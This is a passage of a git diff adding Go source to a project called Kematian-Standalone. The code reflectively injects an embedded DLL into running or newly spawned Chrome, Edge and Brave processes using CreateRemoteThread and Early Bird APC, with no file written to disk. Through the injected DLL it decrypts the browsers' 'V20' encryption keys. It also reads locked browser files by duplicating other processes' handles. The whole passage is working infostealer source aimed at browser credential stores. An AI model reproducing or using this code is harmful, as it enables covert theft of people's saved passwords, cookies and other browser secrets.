int(optHeaderOff)+116 > len(pe) { + return 0, fmt.Errorf("PE32+ optional header too short") + } + exportRVA = binary.LittleEndian.Uint32(pe[optHeaderOff+112:]) + default: + return 0, fmt.Errorf("unknown PE magic 0x%x", magic) + } + + sectionOff := optHeaderOff + uint32(optHeaderSize) + + // rva2fo converts a virtual RVA to a file offset via the section table. + rva2fo := func(rva uint32) uint32 { + for i := uint16(0); i < numSections; i++ { + off := sectionOff + uint32(i)*40 + if int(off)+40 > len(pe) { + break + } + // IMAGE_SECTION_HEADER layout: + // +0 Name[8] + // +8 VirtualSize + // +12 VirtualAddress + // +16 SizeOfRawData + // +20 PointerToRawData + vAddr := binary.LittleEndian.Uint32(pe[off+12:]) + vSize := binary.LittleEndian.Uint32(pe[off+8:]) + rawPtr := binary.LittleEndian.Uint32(pe[off+20:]) + rawSize := binary.LittleEndian.Uint32(pe[off+16:]) + span := vSize + if rawSize > span { + span = rawSize + } + if rva >= vAddr && rva < vAddr+span { + delta := rva - vAddr + if delta < rawSize { + return rawPtr + delta + } + } + } + // RVA might be in the PE headers (before the first section). + if numSections > 0 { + firstRaw := binary.LittleEndian.Uint32(pe[sectionOff+20:]) + if rva < firstRaw { + return rva + } + } + return 0 + } + + exportFO := rva2fo(exportRVA) + if exportFO == 0 || int(exportFO)+40 > len(pe) { + return 0, fmt.Errorf("invalid export directory") + } + + // IMAGE_EXPORT_DIRECTORY offsets: + // +20 NumberOfFunctions + // +24 NumberOfNames + // +28 AddressOfFunctions + // +32 AddressOfNames + // +36 AddressOfNameOrdinals + numNames := binary.LittleEndian.Uint32(pe[exportFO+24:]) + functionsFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+28:])) + namesFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+32:])) + ordinalsFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+36:])) + + for i := uint32(0); i < numNames; i++ { + if int(namesFO+i*4+4) > len(pe) { + break + } + nameFO := rva2fo(binary.LittleEndian.Uint32(pe[namesFO+i*4:])) + if nameFO == 0 || int(nameFO) >= len(pe) { + continue + } + name := pe[nameFO:] + found := false + for k := 0; k < 64 && int(nameFO)+k+16 <= len(pe); k++ { + if name[k] == 0 { + break + } + if name[k] == 'R' && string(name[k:k+16]) == "ReflectiveLoader" { + found = true + break + } + } + if !found { + continue + } + if int(ordinalsFO+i*2+2) > len(pe) { + break + } + ordinal := uint32(binary.LittleEndian.Uint16(pe[ordinalsFO+i*2:])) + if int(functionsFO+ordinal*4+4) > len(pe) { + break + } + funcFO := rva2fo(binary.LittleEndian.Uint32(pe[functionsFO+ordinal*4:])) + if funcFO != 0 { + return funcFO, nil + } + } + return 0, fmt.Errorf("ReflectiveLoader export not found") +} + +// writeReflectiveDLL allocates RWX memory in hProcess, writes the full DLL image +// followed by the UTF-16 pipe name, and returns the remote addresses of the +// ReflectiveLoader entry point and the pipe name. The pipe name is passed to +// the loader as lpParameter so it reaches DllMain without relying on an +// inherited environment variable (which running browsers do not have). +func writeReflectiveDLL(hProcess windows.Handle, dllBytes []byte, pipeName string) (loaderAddr, pipeNameAddr uintptr, err error) { + loaderOff, err := findReflectiveLoaderOffset(dllBytes) + if err != nil { + return 0, 0, fmt.Errorf("find reflective loader: %w", err) + } + + pipeW, err := syscall.UTF16FromString(pipeName) + if err != nil { + return 0, 0, fmt.Errorf("utf16 pipe name: %w", err) + } + pipeBytes := len(pipeW) * 2 + total := len(dllBytes) + pipeBytes + + remoteMem, _, _ := procVirtualAllocEx.Call( + uintptr(hProcess), 0, uintptr(total), + windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE, + ) + if remoteMem == 0 { + return 0, 0, fmt.Errorf("VirtualAllocEx failed") + } + + var written uintptr + if err := windows.WriteProcessMemory(hProcess, remoteMem, &dllBytes[0], uintptr(len(dllBytes)), &written); err != nil { + procVirtualFreeEx.Call(uintptr(hProcess), remoteMem, 0, windows.MEM_RELEASE) + return 0, 0, fmt.Errorf("WriteProcessMemory: %w", err) + } + + pipeNameAddr = remoteMem + uintptr(len(dllBytes)) + pipeBuf := unsafe.Slice((*byte)(unsafe.Pointer(&pipeW[0])), pipeBytes) + if err := windows.WriteProcessMemory(hProcess, pipeNameAddr, &pipeBuf[0], uintptr(pipeBytes), &written); err != nil { + procVirtualFreeEx.Call(uintptr(hProcess), remoteMem, 0, windows.MEM_RELEASE) + return 0, 0, fmt.Errorf("WriteProcessMemory pipe: %w", err) + } + + return remoteMem + uintptr(loaderOff), pipeNameAddr, nil +} + +func createKillOnCloseJob() (windows.Handle, error) { + job, err := windows.CreateJobObject(nil, nil) + if err != nil { + return 0, fmt.Errorf("CreateJobObject: %w", err) + } + var info windows.JOBOBJECT_EXTENDED_LIMIT_INFORMATION + info.BasicLimitInformation.LimitFlags |= windows.JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE + _, err = windows.SetInformationJobObject(job, windows.JobObjectExtendedLimitInformation, + uintptr(unsafe.Pointer(&info)), uint32(unsafe.Sizeof(info))) + if err != nil { + windows.CloseHandle(job) + return 0, fmt.Errorf("SetInformationJobObject: %w", err) + } + return job, nil +} + +// InjectDLL reflectively injects the DLL into a running process via CreateRemoteThread. +// The DLL bytes are written directly into the target process — no temp file on disk. +func InjectDLL(dllBytes []byte, pipeName string, targetPID uint32) (*PipeSession, error) { + hProcess, err := windows.OpenProcess( + windows.PROCESS_CREATE_THREAD|windows.PROCESS_QUERY_INFORMATION| + windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ, + false, targetPID) + if err != nil { + return nil, fmt.Errorf("OpenProcess(%d): %w", targetPID, err) + } + + loaderAddr, pipeNameAddr, err := writeReflectiveDLL(hProcess, dllBytes, pipeName) + if err != nil { + windows.CloseHandle(hProcess) + return nil, err + } + + hThread, _, lerr := procCreateRemoteThread.Call(uintptr(hProcess), 0, 0, loaderAddr, pipeNameAddr, 0, 0) + if hThread == 0 { + windows.CloseHandle(hProcess) + return nil, fmt.Errorf("CreateRemoteThread: %w", lerr) + } + windows.CloseHandle(windows.Handle(hThread)) + + logf("DLL reflectively injected into PID %d", targetPID) + + return &PipeSession{ + pid: targetPID, + hProcess: hProcess, + }, nil +} + +func cleanupInjection(hProcess windows.Handle, addr uintptr) { + procVirtualFreeEx.Call(uintptr(hProcess), addr, 0, windows.MEM_RELEASE) + windows.CloseHandle(hProcess) +} + +// CreatePipeSession creates a named pipe, reflectively injects the DLL into an +// existing browser process (passing the pipe name via lpParameter), and waits +// for connection. Falls back to creating a new headless browser process if +// injection into an existing process fails or times out. +func CreatePipeSession(dllBytes []byte, browserName string) (*PipeSession, error) { + pipeName := createPipeName() + logf("creating pipe: %s", pipeName) + + hPipe, err := createPipeServer(pipeName) + if err != nil { + return nil, fmt.Errorf("create pipe server: %w", err) + } + + pids := orderedBrowserPIDs(BrowserExeName(browserName)) + + const maxExistingTries = 3 + if len(pids) > 0 { + for i, pid := range pids { + if i >= maxExistingTries { + logf("reached max existing process attempts (%d) for %s", maxExistingTries, browserName) + break + } + logf("trying existing %s PID %d", browserName, pid) + s, err := InjectDLL(dllBytes, pipeName, pid) + if err != nil { + logf("inject PID %d failed: %v", pid, err) + continue + } + s.watchExit(fmt.Sprintf("existing %s", browserName), 2000) + if err := waitPipeConnect(hPipe, 2000); err != nil { + logf("pipe connect timeout for PID %d", pid) + s.Close() + procDisconnectNamedPipe.Call(uintptr(hPipe)) + windows.CloseHandle(hPipe) + hPipe, err = createPipeServer(pipeName) + if err != nil { + return nil, fmt.Errorf("recreate pipe: %w", err) + } + continue + } + s.hPipe = hPipe + ActivePipeSession = s + logf("pipe session established with existing %s (PID %d)", browserName, pid) + return s, nil + } + logf("failed to inject into existing %s processes, will try creating new process", browserName) + } else { + logf("no running %s found, will create new headless process", browserName) + } + + s, err := CreateAndInjectBrowser(dllBytes, pipeName, browserName) + if err != nil { + windows.CloseHandle(hPipe) + return nil, fmt.Errorf("create and inject browser: %w", err) + } + s.watchExit(fmt.Sprintf("spawned %s", browserName), 8000) + + if err := waitPipeConnect(hPipe, 5000); err != nil { + logf("pipe connect timeout for new process") + s.Close() + windows.CloseHandle(hPipe) + return nil, fmt.Errorf("pipe connect timeout") + } + + s.hPipe = hPipe + s.ownsProcess = true + ActivePipeSession = s + logf("pipe session established with new %s (PID %d)", browserName, s.pid) + return s, nil +} + +// FindProcesses returns PIDs of running processes matching the given exe name. +func FindProcesses(exeName string) ([]uint32, error) { + if exeName == "" { + return nil, nil + } + hSnapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0) + if err != nil { + return nil, err + } + defer windows.CloseHandle(hSnapshot) + + var entry windows.ProcessEntry32 + entry.Size = uint32(unsafe.Sizeof(entry)) + if err := windows.Process32First(hSnapshot, &entry); err != nil { + return nil, err + } + + var pids []uint32 + for { + if syscall.UTF16ToString(entry.ExeFile[:]) == exeName { + pids = append(pids, entry.ProcessID) + } + if err := windows.Process32Next(hSnapshot, &entry); err != nil { + break + } + } + return pids, nil +} + +func BrowserExeName(name string) string { + switch name { + case "Chrome": + return "chrome.exe" + case "Edge": + return "msedge.exe" + case "Brave": + return "brave.exe" + } + return "" +} + +// CreateAndInjectBrowser creates a new suspended browser process and reflectively +// injects the DLL via Early Bird APC. No temp file is written to disk. +func CreateAndInjectBrowser(dllBytes []byte, pipeName string, browserName string) (*PipeSession, error) { + browserPath, err := getBrowserPath(browserName) + if err != nil { + return nil, fmt.Errorf("get browser path: %w", err) + } + + browserPathW, err := syscall.UTF16PtrFromString(browserPath) + if err != nil { + return nil, err + } + cmdLine := fmt.Sprintf(`"%s" --headless --disable-gpu --no-sandbox --disable-dev-shm-usage`, browserPath) + cmdLineW, err := syscall.UTF16PtrFromString(cmdLine) + if err != nil { + return nil, err + } + + var si windows.StartupInfo + var pi windows.ProcessInformation + si.Cb = uint32(unsafe.Sizeof(si)) + if err := windows.CreateProcess(browserPathW, cmdLineW, nil, nil, false, + windows.CREATE_SUSPENDED, nil, nil, &si, &pi); err != nil { + return nil, fmt.Errorf("CreateProcess: %w", err) + } + logf("created suspended %s process (PID: %d)", browserName, pi.ProcessId) + + // Create a kill-on-close job and assign the suspended browser to it so the + // whole process tree is reaped when the session closes, even though the + // headless parent self-exits after serving one key. + job, jobErr := createKillOnCloseJob() + if jobErr != nil { + logf("job object unavailable, falling back to TerminateProcess: %v", jobErr) + } else if err := windows.AssignProcessToJobObject(job, pi.Process); err != nil { + logf("AssignProcessToJobObject failed, falling back to TerminateProcess: %v", err) + windows.CloseHandle(job) + job = 0 + } else { + logf("spawned %s (PID %d) assigned to kill-on-close job", browserName, pi.ProcessId) + } + + cleanup := func() { + if job != 0 { + windows.CloseHandle(job) + } + windows.TerminateProcess(pi.Process, 0) + windows.CloseHandle(pi.Process) + windows.CloseHandle(pi.Thread) + } + + loaderAddr, pipeNameAddr, err := writeReflectiveDLL(pi.Process, dllBytes, pipeName) + if err != nil { + cleanup() + return nil, err + } + + // Queue APC to the main thread — fires on its first alertable wait after resume. + ret, _, aerr := procQueueUserAPC.Call(loaderAddr, uintptr(pi.Thread), pipeNameAddr) + if ret == 0 { + cleanup() + return nil, fmt.Errorf("QueueUserAPC: %w", aerr) + } + logf("queued APC for reflective loader") + + if _, err := windows.ResumeThread(pi.Thread); err != nil { + cleanup() + return nil, fmt.Errorf("ResumeThread: %w", err) + } + logf("resumed process main thread") + + return &PipeSession{ + pid: pi.ProcessId, + hProcess: pi.Process, + ownsProcess: true, + job: job, + }, nil +} + +func getBrowserPath(browserName string) (string, error) { + var paths []string + switch browserName { + case "Chrome": + paths = []string{ + filepath.Join(os.Getenv("ProgramFiles"), "Google", "Chrome", "Application", "chrome.exe"), + filepath.Join(os.Getenv("ProgramFiles(x86)"), "Google", "Chrome", "Application", "chrome.exe"), + filepath.Join(os.Getenv("LOCALAPPDATA"), "Google", "Chrome", "Application", "chrome.exe"), + } + case "Edge": + paths = []string{ + filepath.Join(os.Getenv("ProgramFiles"), "Microsoft", "Edge", "Application", "msedge.exe"), + filepath.Join(os.Getenv("ProgramFiles(x86)"), "Microsoft", "Edge", "Application", "msedge.exe"), + } + case "Brave": + paths = []string{ + filepath.Join(os.Getenv("ProgramFiles"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"), + filepath.Join(os.Getenv("ProgramFiles(x86)"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"), + filepath.Join(os.Getenv("LOCALAPPDATA"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"), + } + default: + return "", fmt.Errorf("unknown browser: %s", browserName) + } + for _, p := range paths { + if _, err := os.Stat(p); err == nil { + return p, nil + } + } + return "", fmt.Errorf("%s not found", browserName) +} + +// TryV20KeyViaBrowserSession attempts to decrypt a V20 key by injecting a DLL +// into a browser process and communicating via named pipe. +func TryV20KeyViaBrowserSession(processName, browserName string, encBlob []byte) ([]byte, error) { + dllBytes := GetEmbeddedDLL() + if dllBytes == nil { + return nil, fmt.Errorf("no embedded DLL") + } + + pids := orderedBrowserPIDs(processName) + if len(pids) == 0 && browserName == "Chrome" { + return nil, fmt.Errorf("no running Chrome processes for V20") + } + + pipeName := createPipeName() + hPipe, err := createPipeServer(pipeName) + if err != nil { + return nil, fmt.Errorf("create pipe: %w", err) + } + + const maxTries = 3 + for i, pid := range pids { + if i >= maxTries { + break + } + s, injErr := InjectDLL(dllBytes, pipeName, pid) + if injErr != nil { + logf("V20 inject %s PID %d: %v", browserName, pid, injErr) + continue + } + s.watchExit(fmt.Sprintf("V20 %s", browserName), 2000) + if connErr := waitPipeConnect(hPipe, 1000); connErr != nil { + logf("V20 pipe timeout for %s PID %d", browserName, pid) + procDisconnectNamedPipe.Call(uintptr(hPipe)) + windows.CloseHandle(hPipe) + hPipe, err = createPipeServer(pipeName) + if err != nil { + return nil, fmt.Errorf("recreate pipe: %w", err) + } + continue + } + s.hPipe = hPipe + encB64 := base64.StdEncoding.EncodeToString(encBlob) + key, keyErr := s.GetV20Key(browserName, encB64) + s.Close() + return key, keyErr + } + + if browserName == "Chrome" { + windows.CloseHandle(hPipe) + tried := len(pids) + if tried > maxTries { + tried = maxTries + } + return nil, fmt.Errorf("V20 session failed for Chrome (tried %d existing PIDs)", tried) + } + + logf("existing %s PIDs failed for V20, launching headless process", browserName) + s, err := CreateAndInjectBrowser(dllBytes, pipeName, browserName) + if err != nil { + windows.CloseHandle(hPipe) + return nil, fmt.Errorf("create headless %s for V20: %w", browserName, err) + } + s.watchExit(fmt.Sprintf("V20 spawned %s", browserName), 8000) + if connErr := waitPipeConnect(hPipe, 5000); connErr != nil { + s.Close() + windows.CloseHandle(hPipe) + return nil, fmt.Errorf("pipe connect timeout for new headless %s", browserName) + } + s.hPipe = hPipe + encB64 := base64.StdEncoding.EncodeToString(encBlob) + key, keyErr := s.GetV20Key(browserName, encB64) + s.Close() + return key, keyErr +} diff --git a/Kematian-Standalone/native/recovery/platform/inject_stub.go b/Kematian-Standalone/native/recovery/platform/inject_stub.go new file mode 100644 index 0000000..870b4c6 --- /dev/null +++ b/Kematian-Standalone/native/recovery/platform/inject_stub.go @@ -0,0 +1,44 @@ +//go:build !windows + +package platform + +import ( + "errors" + "os/exec" + "strconv" + "strings" +) + +func InjectDLL(dllBytes []byte, pipeName string, targetPID uint32) (*PipeSession, error) { + return nil, errors.New("DLL injection not supported on this platform") +} + +func CreatePipeSession(dllBytes []byte, browserName string) (*PipeSession, error) { + return nil, errors.New("pipe injection not supported on this platform") +} + +func FindProcesses(exeName string) ([]uint32, error) { + if exeName == "" { + return nil, nil + } + out, err := exec.Command("pgrep", "-x", exeName).Output() + if err != nil { + return nil, nil + } + var pids []uint32 + for _, line := range strings.Split(strings.TrimSpace(string(out)), "\n") { + line = strings.TrimSpace(line) + if pid, err := strconv.ParseUint(line, 10, 32); err == nil { + pids = append(pids, uint32(pid)) + } + } + return pids, nil +} + +func BrowserExeName(name string) string { + return "" +} + +func TryV20KeyViaBrowserSession(processName, browserName string, encBlob []byte) ([]byte, error) { + return nil, errors.New("not supported on this platform") +} diff --git a/Kematian-Standalone/native/recovery/platform/lockedfile_stub.go b/Kematian-Standalone/native/recovery/platform/lockedfile_stub.go new file mode 100644 index 0000000..85bd57f --- /dev/null +++ b/Kematian-Standalone/native/recovery/platform/lockedfile_stub.go @@ -0,0 +1,11 @@ +//go:build !windows + +package platform + +import "os" + +func ReadLockedFile(srcPath string, pids []uint32) ([]byte, error) { + return os.ReadFile(srcPath) +} + +func ResetHandleCache() {} diff --git a/Kematian-Standalone/native/recovery/platform/lockedfile_windows.go b/Kematian-Standalone/native/recovery/platform/lockedfile_windows.go new file mode 100644 index 0000000..0b45bc6 --- /dev/null +++ b/Kematian-Standalone/native/recovery/platform/lockedfile_windows.go @@ -0,0 +1,330 @@ +//go:build windows + +package platform + +import ( + "fmt" + "os" + "strings" + "sync" + "syscall" + "unsafe" + + "golang.org/x/sys/windows" +) + +const ( + SystemExtendedHandleInformation = 64 + fileTypeDisk2 = 0x0001 + pageReadonly2 = 0x02 + fileMapRead2 = 0x04 +) + +type systemHandleInfoEx struct { + NumberOfHandles uintptr + Reserved uintptr + Handles [1]systemHandleEntry +} + +type systemHandleEntry struct { + Object uintptr + UniqueProcessId uintptr + HandleValue uintptr + GrantedAccess uint32 + CreatorBackTrace uint16 + ObjectTypeIndex uint16 + HandleAttributes uint32 + Reserved uint32 +} + +type rmUniqueProcess2 struct { + ProcessId uint32 + ProcessStartTime syscall.Filetime +} + +type rmProcessInfo2 struct { + Process rmUniqueProcess2 + AppName [256]uint16 + ServiceShortName [64]uint16 + ApplicationType uint32 + AppStatus uint32 + TSSessionId uint32 + Restartable int32 +} + +var ( + modNtdll2 = windows.NewLazySystemDLL("ntdll.dll") + procNtQuerySystemInformation = modNtdll2.NewProc("NtQuerySystemInformation") + modKernel32 = windows.NewLazySystemDLL("kernel32.dll") + procGetFileSizeEx = modKernel32.NewProc("GetFileSizeEx") + procCreateFileMappingW = modKernel32.NewProc("CreateFileMappingW") + procMapViewOfFile = modKernel32.NewProc("MapViewOfFile") + procUnmapViewOfFile = modKernel32.NewProc("UnmapViewOfFile") + procGetFinalPathNameByHandle = modKernel32.NewProc("GetFinalPathNameByHandleW") + procGetFileType = modKernel32.NewProc("GetFileType") + modRstrtmgr = windows.NewLazySystemDLL("rstrtmgr.dll") + procRmStartSession = modRstrtmgr.NewProc("RmStartSession") + procRmEndSession = modRstrtmgr.NewProc("RmEndSession") + procRmRegisterResources = modRstrtmgr.NewProc("RmRegisterResources") + procRmGetList = modRstrtmgr.NewProc("RmGetList") +) + +var ( + handleCacheMu sync.Mutex + handleCacheVal []systemHandleEntry +) + +func cachedSystemHandles() ([]systemHandleEntry, error) { + handleCacheMu.Lock() + defer handleCacheMu.Unlock() + if handleCacheVal != nil { + return handleCacheVal, nil + } + h, err := querySystemHandles() + if err != nil { + return nil, err + } + handleCacheVal = h + return h, nil +} + +func ResetHandleCache() { + handleCacheMu.Lock() + handleCacheVal = nil + handleCacheMu.Unlock() +} + +func ReadLockedFile(srcPath string, pids []uint32) ([]byte, error) { + if data, err := os.ReadFile(srcPath); err == nil { + logf("read directly: %s", srcPath) + return data, nil + } + + if lockPids := getProcessesLockingFile(srcPath); len(lockPids) > 0 { + pids = mergePIDs(pids, lockPids) + } + + if len(pids) > 0 { + if data, err := readViaHandleDuplication(srcPath, pids); err == nil { + logf("read via handle dup: %s", srcPath) + return data, nil + } + } + + if ActivePipeSession != nil { + if data, err := ActivePipeSession.ReadFile(srcPath); err == nil && len(data) > 0 { + logf("read via pipe: %s (%d bytes)", srcPath, len(data)) + return data, nil + } + } + + return nil, fmt.Errorf("all read methods failed for: %s", srcPath) +} + +func mergePIDs(a, b []uint32) []uint32 { + seen := make(map[uint32]struct{}, len(a)+len(b)) + for _, p := range a { + seen[p] = struct{}{} + } + result := append([]uint32(nil), a...) + for _, p := range b { + if _, ok := seen[p]; !ok { + result = append(result, p) + seen[p] = struct{}{} + } + } + return result +} + +func readViaHandleDuplication(srcPath string, pids []uint32) ([]byte, error) { + handles, err := cachedSystemHandles() + if err != nil { + return nil, err + } + + pidSet := make(map[uintptr]struct{}, len(pids)) + for _, p := range pids { + pidSet[uintptr(p)] = struct{}{} + } + + for _, h := range handles { + if _, ok := pidSet[h.UniqueProcessId]; !ok { + continue + } + + hProcess, err := windows.OpenProcess(windows.PROCESS_DUP_HANDLE, false, uint32(h.UniqueProcessId)) + if err != nil { + continue + } + + var dupHandle windows.Handle + err = windows.DuplicateHandle(hProcess, windows.Handle(h.HandleValue), + windows.CurrentProcess(), &dupHandle, 0, false, windows.DUPLICATE_SAME_ACCESS) + windows.CloseHandle(hProcess) + if err != nil { + continue + } + + ft, _, _ := procGetFileType.Call(uintptr(dupHandle)) + if ft != fileTypeDisk2 { + windows.CloseHandle(dupHandle) + continue + } + + handlePath := getHandlePath(uintptr(dupHandle)) + if handlePath == "" || !strings.EqualFold(handlePath, srcPath) { + windows.CloseHandle(dupHandle) + continue + } + + data, err := readFileByMapping(dupHandle) + windows.CloseHandle(dupHandle) + if err == nil { + return data, nil + } + } + + return nil, fmt.Errorf("handle duplication failed for %s", srcPath) +} + +func readFileByMapping(h windows.Handle) ([]byte, error) { + var fileSize int64 + ok, _, _ := procGetFileSizeEx.Call(uintptr(h), uintptr(unsafe.Pointer(&fileSize))) + if ok == 0 || fileSize <= 0 { + return nil, fmt.Errorf("empty or unreadable file") + } + + hMapping, _, _ := procCreateFileMappingW.Call(uintptr(h), 0, pageReadonly2, 0, 0, 0) + if hMapping == 0 { + return nil, fmt.Errorf("CreateFileMappingW failed") + } + defer windows.CloseHandle(windows.Handle(hMapping)) + + baseAddr, _, _ := procMapViewOfFile.Call(hMapping, fileMapRead2, 0, 0, uintptr(fileSize)) + if baseAddr == 0 { + return nil, fmt.Errorf("MapViewOfFile failed") + } + defer procUnmapViewOfFile.Call(baseAddr) + + data := make([]byte, fileSize) + copy(data, unsafe.Slice((*byte)(unsafe.Pointer(baseAddr)), fileSize)) + return data, nil +} + +func querySystemHandles() ([]systemHandleEntry, error) { + bufSize := uint32(1 * 1024 * 1024) + for { + buf := make([]byte, bufSize) + var returnLength uint32 + status, _, _ := procNtQuerySystemInformation.Call( + SystemExtendedHandleInformation, + uintptr(unsafe.Pointer(&buf[0])), + uintptr(bufSize), + uintptr(unsafe.Pointer(&returnLength)), + ) + if status&0xFFFFFFFF == 0xC0000004 { + bufSize = returnLength + 65536 + if bufSize > 256*1024*1024 { + return nil, fmt.Errorf("handle buffer too large") + } + continue + } + if status != 0 { + return nil, fmt.Errorf("NtQuerySystemInformation: 0x%x", status) + } + + info := (*systemHandleInfoEx)(unsafe.Pointer(&buf[0])) + count := int(info.NumberOfHandles) + handles := make([]systemHandleEntry, count) + for i := 0; i < count; i++ { + entry := (*systemHandleEntry)(unsafe.Pointer( + uintptr(unsafe.Pointer(&info.Handles[0])) + uintptr(i)*unsafe.Sizeof(info.Handles[0]), + )) + handles[i] = *entry + } + return handles, nil + } +} + +func getHandlePath(handle uintptr) string { + buf := make([]uint16, 32768) + n, _, _ := procGetFinalPathNameByHandle.Call( + handle, + uintptr(unsafe.Pointer(&buf[0])), + uintptr(len(buf)), + 0, + ) + if n == 0 || n >= uintptr(len(buf)) { + return "" + } + s := syscall.UTF16ToString(buf[:n]) + if strings.HasPrefix(s, `\\?\`) { + s = s[4:] + } + return s +} + +func getProcessesLockingFile(filePath string) []uint32 { + suffix := filePath + if len(suffix) > 8 { + suffix = suffix[len(suffix)-8:] + } + sessionKey, err := syscall.UTF16PtrFromString("kematian_" + suffix) + if err != nil { + return nil + } + + var sessionHandle uint32 + ret, _, _ := procRmStartSession.Call( + uintptr(unsafe.Pointer(&sessionHandle)), 0, + uintptr(unsafe.Pointer(sessionKey)), + ) + if ret != 0 { + return nil + } + defer procRmEndSession.Call(uintptr(sessionHandle)) + + filePathW, err := syscall.UTF16PtrFromString(filePath) + if err != nil { + return nil + } + ret, _, _ = procRmRegisterResources.Call( + uintptr(sessionHandle), 1, + uintptr(unsafe.Pointer(&filePathW)), + 0, 0, 0, 0, + ) + if ret != 0 { + return nil + } + + var needed, count, rebootReason uint32 + ret, _, _ = procRmGetList.Call( + uintptr(sessionHandle), + uintptr(unsafe.Pointer(&needed)), + uintptr(unsafe.Pointer(&count)), + 0, + uintptr(unsafe.Pointer(&rebootReason)), + ) + if ret != 234 || needed == 0 { + return nil + } + + infos := make([]rmProcessInfo2, needed) + count = needed + ret, _, _ = procRmGetList.Call( + uintptr(sessionHandle), + uintptr(unsafe.Pointer(&needed)), + uintptr(unsafe.Pointer(&count)), + uintptr(unsafe.Pointer(&infos[0])), + uintptr(unsafe.Pointer(&rebootReason)), + ) + if ret != 0 { + return nil + } + + pids := make([]uint32, 0, count) + for i := uint32(0); i < count; i++ { + pids = append(pids, infos[i].Process.ProcessId) + } + return pids +} diff --git a/Kematian-Standalone/native/recovery/platform/log.go b/Kematian-Standalone/native/recovery/platform/log.go new file mode 100644 index 0000000..85fe259 --- /dev/null +++ b/Kematian-Standalone/native/recovery/platform/log.go @@ -0,0 +1,7 @@ +package platform + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[platform] "+format, args...) +} diff --git a/Kematian-Standalone/native/recovery/platform/pipe.go b/Kematian-Standalone/native/recovery/platform/pipe.go new file mode 100644 index 0000000..9aa6956 --- /dev/null +++ b/Kematian-Standalone/native/recovery/platform/pipe.go @@ -0,0 +1,293 @@ +//go:build windows + +package platform + +import ( + "crypto/rand" + "encoding/hex" + "fmt" + "sync" + "syscall" + "time" + "unsafe" + + "golang.org/x/sys/windows" +) + +type PipeSession struct { + mu sync.Mutex + hPipe windows.Handle + hProcess windows.Handle + pid uint32 + ownsProcess bool + job windows.Handle + closed bool +} + +var ( + modKernel32Pipe = windows.NewLazySystemDLL("kernel32.dll") + modAdvapi32 = windows.NewLazySystemDLL("advapi32.dll") + + procCreateNamedPipeW = modKernel32Pipe.NewProc("CreateNamedPipeW") + procConnectNamedPipe = modKernel32Pipe.NewProc("ConnectNamedPipe") + procDisconnectNamedPipe = modKernel32Pipe.NewProc("DisconnectNamedPipe") + procWaitForSingleObject = modKernel32Pipe.NewProc("WaitForSingleObject") + procPeekNamedPipe = modKernel32Pipe.NewProc("PeekNamedPipe") +) + +func createPipeName() string { + b := make([]byte, 8) + rand.Read(b) + return fmt.Sprintf(`\\.\pipe\%s`, hex.EncodeToString(b)) +} + +func createPipeServer(pipeName string) (windows.Handle, error) { + namePtr, err := syscall.UTF16PtrFromString(pipeName) + if err != nil { + return 0, err + } + + const ( + PIPE_ACCESS_DUPLEX = 0x3 + PIPE_TYPE_BYTE = 0x0 + PIPE_READMODE_BYTE = 0x0 + PIPE_WAIT = 0x0 + PIPE_UNLIMITED_INSTANCES = 0xFF + ) + + r, _, err := procCreateNamedPipeW.Call( + uintptr(unsafe.Pointer(namePtr)), + PIPE_ACCESS_DUPLEX|windows.FILE_FLAG_OVERLAPPED, + PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT, + PIPE_UNLIMITED_INSTANCES, + 65536, // output buffer + 65536, // input buffer + 15000, // timeout ms + 0, + ) + if r == ^uintptr(0) { + return 0, fmt.Errorf("CreateNamedPipeW: %w", err) + } + return windows.Handle(r), nil +} + +func waitPipeConnect(hPipe windows.Handle, timeoutMs uint32) error { + hEvent, err := windows.CreateEvent(nil, 1, 0, nil) + if err != nil { + return fmt.Errorf("CreateEvent: %w", err) + } + defer windows.CloseHandle(hEvent) + + ov := windows.Overlapped{HEvent: hEvent} + + r, _, err := procConnectNamedPipe.Call(uintptr(hPipe), uintptr(unsafe.Pointer(&ov))) + if r != 0 { + return nil // already connected + } + + if err == windows.ERROR_PIPE_CONNECTED { + return nil + } + + if err != windows.ERROR_IO_PENDING { + return fmt.Errorf("ConnectNamedPipe: %w", err) + } + + ret, _, _ := procWaitForSingleObject.Call(uintptr(hEvent), uintptr(timeoutMs)) + if ret != uintptr(windows.WAIT_OBJECT_0) { + return fmt.Errorf("pipe connect timeout") + } + return nil +} + +func (s *PipeSession) pipeSend(data []byte) error { + s.mu.Lock() + defer s.mu.Unlock() + + if s.closed { + return fmt.Errorf("pipe session closed") + } + + length := uint32(len(data)) + lengthBytes := []byte{ + byte(length), + byte(length >> 8), + byte(length >> 16), + byte(length >> 24), + } + + var written uint32 + err := windows.WriteFile(s.hPipe, lengthBytes, &written, nil) + if err != nil || written != 4 { + return fmt.Errorf("write length: %w", err) + } + + if length > 0 { + var totalWritten uint32 + for totalWritten < length { + var n uint32 + err = windows.WriteFile(s.hPipe, data[totalWritten:], &n, nil) + if err != nil || n == 0 { + return fmt.Errorf("write data: %w", err) + } + totalWritten += n + } + } + + return nil +} + +func (s *PipeSession) pipeRecv() (status byte, data []byte, err error) { + s.mu.Lock() + defer s.mu.Unlock() + + if s.closed { + return 0, nil, fmt.Errorf("pipe session closed") + } + + var lengthBuf [4]byte + var totalRead uint32 + deadline := time.Now().Add(10 * time.Second) + + for totalRead < 4 { + if time.Now().After(deadline) { + return 0, nil, fmt.Errorf("pipe recv timeout") + } + + var avail uint32 + r, _, _ := procPeekNamedPipe.Call(uintptr(s.hPipe), 0, 0, 0, uintptr(unsafe.Pointer(&avail)), 0) + if r == 0 { + return 0, nil, fmt.Errorf("PeekNamedPipe failed") + } + if avail < 4-totalRead { + time.Sleep(50 * time.Millisecond) + continue + } + + var n uint32 + err = windows.ReadFile(s.hPipe, lengthBuf[totalRead:4], &n, nil) + if err != nil || n == 0 { + return 0, nil, fmt.Errorf("read length: %w", err) + } + totalRead += n + } + + totalLen := 